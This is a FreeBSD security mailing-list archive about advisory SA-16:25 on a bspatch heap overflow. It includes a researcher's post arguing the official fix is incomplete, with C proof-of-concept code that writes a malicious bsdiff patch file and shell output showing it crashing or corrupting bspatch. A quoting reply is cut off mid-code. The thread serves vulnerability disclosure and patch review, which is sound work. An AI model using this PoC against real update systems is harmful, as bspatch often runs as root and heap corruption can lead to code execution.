From owner-freebsd-security@freebsd.org Mon Jul 25 15:22:22 2016 Return-Path: Delivered-To: freebsd-security@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id CB122BA4215 for ; Mon, 25 Jul 2016 15:22:22 +0000 (UTC) (envelope-from security-advisories@freebsd.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) by mx1.freebsd.org (Postfix) with ESMTP id C2D9B1852; Mon, 25 Jul 2016 15:22:22 +0000 (UTC) (envelope-from security-advisories@freebsd.org) Received: by freefall.freebsd.org (Postfix, from userid 1035) id C1E471445; Mon, 25 Jul 2016 15:22:22 +0000 (UTC) From: FreeBSD Security Advisories To: FreeBSD Security Advisories Subject: FreeBSD Security Advisory FreeBSD-SA-16:25.bspatch Reply-To: freebsd-security@freebsd.org Precedence: bulk Message-Id: <20160725152222.C1E471445@freefall.freebsd.org> Date: Mon, 25 Jul 2016 15:22:22 +0000 (UTC) X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.22 List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2016 15:22:22 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= FreeBSD-SA-16:25.bspatch Security Advisory The FreeBSD Project Topic: Heap vulnerability in bspatch Category: core Module: bsdiff Announced: 2016-07-25 Affects: All supported versions of FreeBSD. Corrected: 2016-07-25 14:52:12 UTC (stable/11, 11.0-BETA2-p1) 2016-07-25 14:52:12 UTC (stable/11, 11.0-BETA1-p1) 2016-07-25 14:53:04 UTC (stable/10, 10.3-STABLE) 2016-07-25 15:04:17 UTC (releng/10.3, 10.3-RELEASE-p6) 2016-07-25 15:04:17 UTC (releng/10.2, 10.2-RELEASE-p20) 2016-07-25 15:04:17 UTC (releng/10.1, 10.1-RELEASE-p37) 2016-07-25 14:53:04 UTC (stable/9, 9.3-STABLE) 2016-07-25 15:04:17 UTC (releng/9.3, 9.3-RELEASE-p45) CVE Name: CVE-2014-9862 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . I. Background The bspatch utility generates newfile from oldfile and patchfile where patchfile is a binary patch built by bsdiff(1). II. Problem Description The implementation of bspatch does not check for a negative value on numbers of bytes read from the diff and extra streams, allowing an attacker who can control the patch file to write at arbitrary locations in the heap. This issue was first discovered by The Chromium Project and reported independently by Lu Tung-Pin to the FreeBSD project. III. Impact An attacker who can control the patch file can cause a crash or run arbitrary code under the credentials of the user who runs bspatch, in many cases, root. IV. Workaround No workaround is available. V. Solution Perform one of the following: 1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. No reboot is needed. 2) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install No reboot is needed. 3) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch https://security.FreeBSD.org/patches/SA-16:25/bspatch.patch # fetch https://security.FreeBSD.org/patches/SA-16:25/bspatch.patch.asc # gpg --verify bspatch.patch.asc b) Apply the patch. Execute the following commands as root: # cd /usr/src # patch < /path/to/patch c) Recompile the operating system using buildworld and installworld as described in . VI. Correction details The following list contains the correction revision numbers for each affected branch. Branch/path Revision - ------------------------------------------------------------------------- stable/9/ r303301 releng/9.3/ r303304 stable/10/ r303301 releng/10.1/ r303304 releng/10.2/ r303304 releng/10.3/ r303304 stable/11/ r303300 - ------------------------------------------------------------------------- To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed: # svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base Or visit the following URL, replacing NNNNNN with the revision number: VII. References The latest revision of this advisory is available at -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.1.13 (FreeBSD) iQIcBAEBCgAGBQJXlir7AAoJEO1n7NZdz2rnTtAP/iFnhrcmRuxmeMGtVPWHZFhH /I2iB62wGf4vNGVedwh3fHPEgjEpMvDVP7S+OCLB7Fnf+Mwm9uL47cjxdr/P5dy8 iKRsojG7HVE3Iia7DyaSEQwbJMQZGWsy2wr9epiHPoOpnSaWKUBx94C+oc7gPdM5 8LW5OpUgSpFCztQ82gbM/2Bjy5OREJQP6ASW62WO+MkD7n+ZUzsUCdR13bzvpA23 BaNeInQArn5Zf3OiZXjQ9Go1muml2llQmqxeb8p3V9IbJ3mdUBQat1AtF/yXfpWA tkUfgqAaoKbjOrk22h/wBRssPlqqftZDXWqi2KlkEltqyU1evnsb5UVCu0SZdgkW lQlnE1vymJCnxC211SweDNbbP8laR0OpjRxUxljSXVMXag4Lh9+9aD6zIZ9zZNi7 MxXEasLZViwq8gEbZLlLUfcOQVv6T+3jTiH8aRUYFp5PsBGBgQCAQgGCEaztQTNr lnSp/rqnP7FEu7gsHtP3wGK03RItNketbKMSUzV5eXiWmVYC3a6/WboqqJuqhDka zs3W0h0Fw6iqk6CfImHnhD1unarXnSQU5vRcf9srnUvS0XgYS/113BQK23SjGmki OIJe3Wm0CrcChAf8lKdeyPlKFcN906EkQ8Hh8vB00B9BZCXYLY9zBK6lW40NA1UN cy+ljfLX/xwCNIJJXdwH =FL3H -----END PGP SIGNATURE----- From owner-freebsd-security@freebsd.org Mon Jul 25 16:09:01 2016 Return-Path: Delivered-To: freebsd-security@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id A22BBBA4823 for ; Mon, 25 Jul 2016 16:09:01 +0000 (UTC) (envelope-from yz@yz.kiev.ua) Received: from nb.yz.kiev.ua (nb.yz.kiev.ua [92.63.99.5]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 535701CB4 for ; Mon, 25 Jul 2016 16:09:00 +0000 (UTC) (envelope-from yz@yz.kiev.ua) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=yz.kiev.ua; s=dkim; h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID: Subject:To:From:Date:Sender:Reply-To:Cc:Content-Transfer-Encoding:Content-ID: Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc :Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe: List-Post:List-Owner:List-Archive; bh=8QihW+VpA0QTxBJbvxEkFusyp0iCQbSvIYcnnBFoE40=; b=QQsR0O2fwNKXyus2i9cMOJz8wM 5PgPPvPu9u2Q8c0XcuxWKdG9YYFu4+aJ/6BB2aLPG1JXimtwp3WGqaUEiFV/n0C0o3sJ96rm3I6e7 97cD5ct2E7RIChbToJkdqzuNzQg14FheJIWI20Ktx5bZSEhZPQF/s4WZMEO8g4iID69w=; Received: from yz by nb.yz.kiev.ua with local (Exim 4.87 (FreeBSD)) (envelope-from ) id 1bRiR7-0000Xl-GU for freebsd-security@freebsd.org; Mon, 25 Jul 2016 19:08:57 +0300 Date: Mon, 25 Jul 2016 19:08:57 +0300 From: "George L. Yermulnik" To: freebsd-security@freebsd.org Subject: Re: FreeBSD Security Advisory FreeBSD-SA-16:25.bspatch Message-ID: <20160725160857.GF63000@yz.kiev.ua> References: <20160725152222.C6BF71447@freefall.freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20160725152222.C6BF71447@freefall.freebsd.org> Organization: Earth, Europe, Ukraine, Kiev X-Yz-Mark: yz@nb 20160725 19:08:06 User-Agent: Mutt/1.6.1 (2016-04-27) X-Mailman-Approved-At: Mon, 25 Jul 2016 16:10:20 +0000 X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.22 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2016 16:09:01 -0000 Hello! On Mon, 25 Jul 2016 at 15:22:22 (+0000), FreeBSD Security Advisories wrote: [...] > 3) To update your vulnerable system via a source code patch: > The following patches have been verified to apply to the applicable > FreeBSD release branches. > a) Download the relevant patch from the location below, and verify the > detached PGP signature using your PGP utility. > # fetch https://security.FreeBSD.org/patches/SA-16:25/bspatch.patch > # fetch https://security.FreeBSD.org/patches/SA-16:25/bspatch.patch.asc > # gpg --verify bspatch.patch.asc fetch: https://security.FreeBSD.org/patches/SA-16:25/bspatch.patch: Not Found > b) Apply the patch. Execute the following commands as root: > # cd /usr/src > # patch < /path/to/patch > c) Recompile the operating system using buildworld and installworld as > described in . [...] -- George L. Yermulnik [YZ-RIPE] From owner-freebsd-security@freebsd.org Mon Jul 25 16:19:45 2016 Return-Path: Delivered-To: freebsd-security@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id 68892BA4C31 for ; Mon, 25 Jul 2016 16:19:45 +0000 (UTC) (envelope-from gjb@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) by mx1.freebsd.org (Postfix) with ESMTP id 59B8D1652; Mon, 25 Jul 2016 16:19:45 +0000 (UTC) (envelope-from gjb@FreeBSD.org) Received: from FreeBSD.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) by freefall.freebsd.org (Postfix) with ESMTP id 18F4C1488; Mon, 25 Jul 2016 16:19:45 +0000 (UTC) (envelope-from gjb@FreeBSD.org) Date: Mon, 25 Jul 2016 16:19:44 +0000 From: Glen Barber To: "George L. Yermulnik" Cc: freebsd-security@freebsd.org Subject: Re: FreeBSD Security Advisory FreeBSD-SA-16:25.bspatch Message-ID: <20160725161944.GA1145@FreeBSD.org> References: <20160725152222.C6BF71447@freefall.freebsd.org> <20160725160857.GF63000@yz.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="NzB8fVQJ5HfG6fxh" Content-Disposition: inline In-Reply-To: <20160725160857.GF63000@yz.kiev.ua> X-Operating-System: FreeBSD 11.0-CURRENT amd64 X-SCUD-Definition: Sudden Completely Unexpected Dataloss X-SULE-Definition: Sudden Unexpected Learning Event X-PEKBAC-Definition: Problem Exists, Keyboard Between Admin/Computer User-Agent: Mutt/1.5.24 (2015-08-30) X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.22 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2016 16:19:45 -0000 --NzB8fVQJ5HfG6fxh Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Jul 25, 2016 at 07:08:57PM +0300, George L. Yermulnik wrote: > > # fetch https://security.FreeBSD.org/patches/SA-16:25/bspatch.patch > > # fetch https://security.FreeBSD.org/patches/SA-16:25/bspatch.patch.asc > > # gpg --verify bspatch.patch.asc >=20 > fetch: https://security.FreeBSD.org/patches/SA-16:25/bspatch.patch: Not F= ound >=20 It is there now. Glen --NzB8fVQJ5HfG6fxh Content-Type: application/pgp-signature; name="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBCAAGBQJXljwbAAoJEAMUWKVHj+KTSQkP/RmQcYHdF1XnJuLA6Jts+IS5 ljtYYoCXo7IH3XoZhZA0sdsfOwX17uEkSXA/zz9uPMYJ9widCAJWKvi0bPq3J00/ CdS+Xx5zV/lfnImyHCuuU8rRT2yU8lR7q2cx6kEoirSZ6wEMXlSMMpJReTey5Pvm j0mhvLu1ZSwirWbjdCw2z8P3SqmCs36xGUz3IKTL5e0z9iJ1KoFdbH5MY8PngL0W KB5F8EZi6BMcpcLgLXn6PYeseNpR6L31dGPkw7Rif/UaI9hRLZkxc330Z8I+xR0A fNt/DEFZ04+OMZ6bmRp+1PVE5drxLTh6Ci7uJ5gnLjIH9LyTil6tWxdbIdT2uZmA 2M1LxWv/JE54YZem3V/FRlnVwm8HFRUbMQyG9M6LXlw4ErbZc/O73lYC8BYnm8wf yGAW+Bos4sQnlrofx1HXTLakkk2xrcXNgRACbf0ObAngb20rN1+W+9QMC1NnowGt eO8Yhxe+a6sF7PF5X6L3ru6Y3esDsiF6n1/0+RJoTFuLjomQ9EbMsHsbVAOYb4LD kr4sMkmOZAVdgZKS5dyCCBJG3vZzboI70mjes29icgHHNm6kNE9LB6eigb/IAJc2 AKBPv8ZhAq61FUi9uHY9GLKQ9fmJ/m8fp7XQEF5KAMXHyWCOQZf+OH2qyDH7FKRm iSFVbQUCyPeGzcDKilzn =V60m -----END PGP SIGNATURE----- --NzB8fVQJ5HfG6fxh-- From owner-freebsd-security@freebsd.org Fri Jul 29 03:49:58 2016 Return-Path: Delivered-To: freebsd-security@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id BD592BA61E3 for ; Fri, 29 Jul 2016 03:49:58 +0000 (UTC) (envelope-from mschroeder@vfemail.net) Received: from vfemail.net (onethreetwo.vfemail.net [199.16.11.132]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6D12813D8 for ; Fri, 29 Jul 2016 03:49:58 +0000 (UTC) (envelope-from mschroeder@vfemail.net) Received: (qmail 65829 invoked by uid 89); 29 Jul 2016 03:49:57 -0000 Received: from localhost (HELO freequeue.vfemail.net) (127.0.0.1) by localhost with (DHE-RSA-AES256-SHA encrypted) SMTP; 29 Jul 2016 03:49:57 -0000 Received: (qmail 65787 invoked by uid 89); 29 Jul 2016 03:49:39 -0000 Received: by simscan 1.3.1 ppid: 65785, pid: 65786, t: 0.0026s scanners:none Received: from unknown (HELO smtp101-2.vfemail.net) (172.16.100.61) by FreeQueue with SMTP; 29 Jul 2016 03:49:39 -0000 Received: (qmail 28113 invoked by uid 89); 29 Jul 2016 03:49:39 -0000 Received: by simscan 1.4.0 ppid: 28106, pid: 28109, t: 0.0801s scanners:none Received: from unknown (HELO www.vfemail.net) (bXNjaHJvZWRlckB2ZmVtYWlsLm5ldA==@172.16.100.92) by 172.16.100.61 with ESMTPA; 29 Jul 2016 03:49:39 -0000 Received: from SUzEqT+xvwdcRDSSbdPDlNyGc0f70NQ1MEs+pdlp8elTBR9PtgfRXilch8YvvkyMrTkwWN/MRtM= (0HtirQeoaNjP8BZZpazlZiE0ArAZLkAl) by www.vfemail.net with HTTP (HTTP/1.1 POST); Thu, 28 Jul 2016 22:49:39 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Date: Fri, 29 Jul 2016 03:49:39 +0000 From: Martin Schroeder To: freebsd-security@freebsd.org Subject: freebsd-update and portsnap users still at risk of compromise Message-ID: <6bd80e384e443e5de73fb951e973b221@vfemail.net> X-Sender: mschroeder@vfemail.net User-Agent: Roundcube Webmail/1.0.1 X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.22 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2016 03:49:58 -0000 On July 18, John Leyden, security editor at The Register, tweeted a link to a libarchive ticket that had been sitting without a response for almost a week. tweet: https://twitter.com/jleyden/status/755016810865582081 libarchive ticket: https://github.com/libarchive/libarchive/issues/743 The ticket creator quoted an AV researcher who was likely posting to one of the many early-alert vendor lists in the age of infosec balkanization (IOW, a "courtesy heads-up" to FreeBSD users forking them money): [QUOTE] Our AV researchers have analyzed the following link that was cloud- submitted as suspect: https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f The document is from an unknown author and describes "non-cryptanalytic attacks against FreeBSD update components." The affected components are the portsnap and freebsd-update tools, both directly and indirectly. From what we can tell, the text file is part of a larger stash of documents, all with the same attack-defense style. We have other documents, dated 2014 and 2015, detailing attacks against the update systems of multiple Linux distributions and the corresponding defenses against "the adversary." We believe this to be the work of an MITM-capable advanced threat actor. Full details of our findings will be released in the coming weeks. This is a courtesy heads-up to FreeBSD users. [/QUOTE] Another poster confirmed some of the attacks: [QUOTE] Here via John Leyden's tweet. I don't have the time to test the portsnap attacks, but I can confirm that the libarchive/tar and bspatch attacks work on our 10.x machines, and I'm happy to test any libarchive/tar fixes. Judging by the painstaking amount of work put into the bspatch exploit especially, I think it's highly unlikely that the creator lacks the means to deploy it via mitm. Otherwise, I've never seen anything like this in terms of apparent work/reward. It would be comical if it weren't so horrifying. Think of all those locked-down fbsd machines that have no external-facing daemons/services and that perform only updates. Our telecommunications floor alone has several dozen. Someone needs to alert the fbsd mailing lists (-current, -security?) pronto. I'd rather not mail them myself from work. And we should also get more details on the linux distributions. [/QUOTE] I've been analyzing the document extensively since then. The targets are as follows: [1] portsnap via portsnap vulnerabilities [2] portsnap via libarchive & tar anti-sandboxing vulnerabilities [3] portsnap via bspatch vulnerabilities [4] freebsd-update via bspatch vulnerabilities Nothing has appeared in any official FreeBSD source about [1]. The libarchive developers have finally confirmed [2] and are presumably working on fixes. A FreeBSD advisory just appeared for [3] & [4] (bspatch), but users should be aware that running freebsd-update exposes their machines to the very vulnerability it's correcting (a not insignificant fact that was omitted from the advisory). Here's why: [QUOTE] * The bspatch(1) utility is executed before SHA256 verification in both * freebsd-update(8) and portsnap(8). [/QUOTE] Even worse, the patch in the FreeBSD advisory is insufficient to prevent heap corruption. I compared the patch in the FreeBSD advisory with the "defense" patch in the document, and the former contains only a subset of the checks in the latter. The document patch is in some ways cautious to an insanely paranoid degree, mistrusting the error-checking stability of system libraries and defending against compiler quirks that probably won't exist in compiler optimization intelligence for many years, if ever, though as a developer of clang-based static analyzers, I did take an interest in one of the more usual integer-overflow culprits: [ADVISORY PATCH - CONTAINS ONLY A SUBSET OF DOCUMENT PATCH] /* Sanity-check */ + if ((ctrl[0] < 0) || (ctrl[1] < 0)) + errx(1,"Corrupt patch\n"); + + /* Sanity-check */ if(newpos+ctrl[0]>newsize) errx(1,"Corrupt patch\n"); [/ADVISORY PATCH] [DOCUMENT PATCH - THE CORRESPONDING PORTION] /* Sanity-check */ - if(newpos+ctrl[0]>newsize) - errx(1,"Corrupt patch\n"); + if((ctrl[0]<0) || (ctrl[0]>INT_MAX) || + (newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize)) + errx(1,"Corrupt patch\n"); - /* Read diff string */ + /* Read diff string - 4th arg converted to int */ lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]); if ((lenread < ctrl[0]) || ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END))) errx(1, "Corrupt patch\n"); [/DOCUMENT PATCH] The ctrl[1] checks in the document patch are similar. The basic idea is that for if(newpos+ctrl[0]>newsize) and if(newpos+ctrl[1]>newsize) it's not enough to block a negative ctrl[]. That will stop the exploit given, but it won't stop additional exploits. The document patch defends against additional exploits, namely those based on newpos+ctrl[] overflowing via a large ctrl[] to bypass the check. The canonical large value I use below is 0x7fffffff7fffffff, which is both off_t nonnegative and int nonnegative (when truncated in BZ2_bzRead). The document patch defends against this truncation trickery as well. To demonstrate the problem, I wrote the code below. Examine it on a FreeBSD x64 machine under gdb, valgrind, or whatever, even with the advisory patch applied. [CODE] #include #include #include #include #include int main(int argc, char **argv) { unsigned char oct; char buff[100000]; char c[72]= "\x00\x00\x00\x00\x00\x00\x00\x00" "\xff\xff\xff\x7f\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x02\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\xff\xff\xff\x7f\xff\xff\xff\x7f" "\x00\x00\x00\x00\x00\x00\x00\x00"; char *e=calloc(1,0x8fffffff); if(!e) return 1; unsigned l,tmp; int comp=atoi(argv[1]); int fd=open(argv[2],O_WRONLY|O_CREAT|O_TRUNC,0666); write(fd,"BSDIFF40",8); l=sizeof(buff); BZ2_bzBuffToBuffCompress(buff,&l,c,sizeof(c),comp,0,0); tmp=l; for(int i=0;i<8;i++){oct=tmp&0xff;write(fd,&oct,1);tmp>>=8;} write(fd,"\x00\x00\x00\x00\x00\x00\x00\x00",8); write(fd,"\x02\x00\x00\x80\x00\x00\x00\x00",8); write(fd,buff,l); l=sizeof(buff); BZ2_bzBuffToBuffCompress(buff,&l,e,0x8fffffff,comp,0,0); write(fd,buff,l); close(fd); free(e); return 0; } [/CODE] [ms@dev4 ~/patch]$ cc -o bp bp.c -lbz2 [ms@dev4 ~/patch]$ echo 123 > old [ms@dev4 ~/patch]$ ./bp 1 patch [ms@dev4 ~/patch]$ bspatch old new patch Segmentation fault (core dumped) [ms@dev4 ~/patch]$ ./bp 9 patch [ms@dev4 ~/patch]$ bspatch old new patch bspatch: Corrupt patch Counterintuitively, the segfault case is (currently) less dangerous than the error case. This is because the segfault arises from harmlessly trashing the heap until an unmapped page is hit (though you never know what the future - or creativity - brings). But taking a cue from a comment in the exploit, I bumped up the compression to level 9, which positioned a lot of libbz2 internal data after the buffer. This data gets overwritten and could very likely be finessed to dangerous effect. The error message is simply because after pulling out my hair to figure out bspatch, I had no desire to follow the author down the rabbit hole of bzip2/jemalloc/libc internals, which shall remain for me black magic. Martin Schroeder ------------------------------------------------- ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out of the NSA's hands! $24.95 ONETIME Lifetime accounts with Privacy Features! 15GB disk! No bandwidth quotas! Commercial and Bulk Mail Options! From owner-freebsd-security@freebsd.org Fri Jul 29 09:00:23 2016 Return-Path: Delivered-To: freebsd-security@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id A6988BA7602 for ; Fri, 29 Jul 2016 09:00:23 +0000 (UTC) (envelope-from julian@freebsd.org) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 784FB1AEA for ; Fri, 29 Jul 2016 09:00:22 +0000 (UTC) (envelope-from julian@freebsd.org) Received: from Julian-MBP3.local (ppp121-45-233-115.lns20.per1.internode.on.net [121.45.233.115]) (authenticated bits=0) by vps1.elischer.org (8.15.2/8.15.2) with ESMTPSA id u6T90HTW080217 (version=TLSv1.2 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 29 Jul 2016 02:00:20 -0700 (PDT) (envelope-from julian@freebsd.org) Subject: Re: freebsd-update and portsnap users still at risk of compromise To: Martin Schroeder , freebsd-security@freebsd.org References: <6bd80e384e443e5de73fb951e973b221@vfemail.net> From: Julian Elischer Message-ID: Date: Fri, 29 Jul 2016 17:00:11 +0800 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Thunderbird/45.2.0 MIME-Version: 1.0 In-Reply-To: <6bd80e384e443e5de73fb951e973b221@vfemail.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.22 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2016 09:00:23 -0000 On 29/07/2016 11:49 AM, Martin Schroeder wrote: > On July 18, John Leyden, security editor at The Register, tweeted a > link > to a libarchive ticket that had been sitting without a response for > almost a week. > not sure if you've been contacted privately, but I believe the answer is "we're working on it" > tweet: https://twitter.com/jleyden/status/755016810865582081 > libarchive ticket: https://github.com/libarchive/libarchive/issues/743 > > The ticket creator quoted an AV researcher who was likely posting to > one > of the many early-alert vendor lists in the age of infosec > balkanization > (IOW, a "courtesy heads-up" to FreeBSD users forking them money): > > [QUOTE] > Our AV researchers have analyzed the following link that was cloud- > submitted as suspect: > > https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f > > The document is from an unknown author and describes "non-cryptanalytic > attacks against FreeBSD update components." The affected components are > the portsnap and freebsd-update tools, both directly and indirectly. > > From what we can tell, the text file is part of a larger stash of > documents, all with the same attack-defense style. We have other > documents, dated 2014 and 2015, detailing attacks against the update > systems of multiple Linux distributions and the corresponding defenses > against "the adversary." > > We believe this to be the work of an MITM-capable advanced threat > actor. > > Full details of our findings will be released in the coming weeks. This > is a courtesy heads-up to FreeBSD users. > [/QUOTE] > > Another poster confirmed some of the attacks: > > [QUOTE] > Here via John Leyden's tweet. > > I don't have the time to test the portsnap attacks, but I can confirm > that the libarchive/tar and bspatch attacks work on our 10.x machines, > and I'm happy to test any libarchive/tar fixes. > > Judging by the painstaking amount of work put into the bspatch exploit > especially, I think it's highly unlikely that the creator lacks the > means to deploy it via mitm. Otherwise, I've never seen anything like > this in terms of apparent work/reward. It would be comical if it > weren't > so horrifying. Think of all those locked-down fbsd machines that > have no > external-facing daemons/services and that perform only updates. Our > telecommunications floor alone has several dozen. > > Someone needs to alert the fbsd mailing lists (-current, -security?) > pronto. I'd rather not mail them myself from work. And we should also > get more details on the linux distributions. > [/QUOTE] > > I've been analyzing the document extensively since then. The targets > are > as follows: > > [1] portsnap via portsnap vulnerabilities > [2] portsnap via libarchive & tar anti-sandboxing vulnerabilities > [3] portsnap via bspatch vulnerabilities > [4] freebsd-update via bspatch vulnerabilities > > Nothing has appeared in any official FreeBSD source about [1]. The > libarchive developers have finally confirmed [2] and are presumably > working on fixes. > > A FreeBSD advisory just appeared for [3] & [4] (bspatch), but users > should be aware that running freebsd-update exposes their machines to > the very vulnerability it's correcting (a not insignificant fact that > was omitted from the advisory). Here's why: > > [QUOTE] > * The bspatch(1) utility is executed before SHA256 verification in > both > * freebsd-update(8) and portsnap(8). > [/QUOTE] > > Even worse, the patch in the FreeBSD advisory is insufficient to > prevent > heap corruption. I compared the patch in the FreeBSD advisory with the > "defense" patch in the document, and the former contains only a subset > of the checks in the latter. The document patch is in some ways > cautious > to an insanely paranoid degree, mistrusting the error-checking > stability > of system libraries and defending against compiler quirks that probably > won't exist in compiler optimization intelligence for many years, if > ever, though as a developer of clang-based static analyzers, I did take > an interest in one of the more usual integer-overflow culprits: > > [ADVISORY PATCH - CONTAINS ONLY A SUBSET OF DOCUMENT PATCH] > /* Sanity-check */ > + if ((ctrl[0] < 0) || (ctrl[1] < 0)) > + errx(1,"Corrupt patch\n"); > + > + /* Sanity-check */ > if(newpos+ctrl[0]>newsize) > errx(1,"Corrupt patch\n"); > [/ADVISORY PATCH] > > [DOCUMENT PATCH - THE CORRESPONDING PORTION] > /* Sanity-check */ > - if(newpos+ctrl[0]>newsize) > - errx(1,"Corrupt patch\n"); > + if((ctrl[0]<0) || (ctrl[0]>INT_MAX) || > + (newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize)) > + errx(1,"Corrupt patch\n"); > > - /* Read diff string */ > + /* Read diff string - 4th arg converted to int */ > lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]); > if ((lenread < ctrl[0]) || > ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END))) > errx(1, "Corrupt patch\n"); > [/DOCUMENT PATCH] > > The ctrl[1] checks in the document patch are similar. > > The basic idea is that for > > if(newpos+ctrl[0]>newsize) > > and > > if(newpos+ctrl[1]>newsize) > > it's not enough to block a negative ctrl[]. That will stop the exploit > given, but it won't stop additional exploits. The document patch > defends > against additional exploits, namely those based on newpos+ctrl[] > overflowing via a large ctrl[] to bypass the check. The canonical large > value I use below is 0x7fffffff7fffffff, which is both off_t > nonnegative > and int nonnegative (when truncated in BZ2_bzRead). The document patch > defends against this truncation trickery as well. > > To demonstrate the problem, I wrote the code below. Examine it on a > FreeBSD x64 machine under gdb, valgrind, or whatever, even with the > advisory patch applied. > > [CODE] > #include > #include > #include > #include > #include > > int main(int argc, char **argv) > { > unsigned char oct; > char buff[100000]; > char c[72]= > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\xff\xff\xff\x7f\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x02\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\xff\xff\xff\x7f\xff\xff\xff\x7f" > "\x00\x00\x00\x00\x00\x00\x00\x00"; > char *e=calloc(1,0x8fffffff); > if(!e) return 1; > unsigned l,tmp; > int comp=atoi(argv[1]); > int fd=open(argv[2],O_WRONLY|O_CREAT|O_TRUNC,0666); > write(fd,"BSDIFF40",8); > l=sizeof(buff); > BZ2_bzBuffToBuffCompress(buff,&l,c,sizeof(c),comp,0,0); > tmp=l; > for(int i=0;i<8;i++){oct=tmp&0xff;write(fd,&oct,1);tmp>>=8;} > 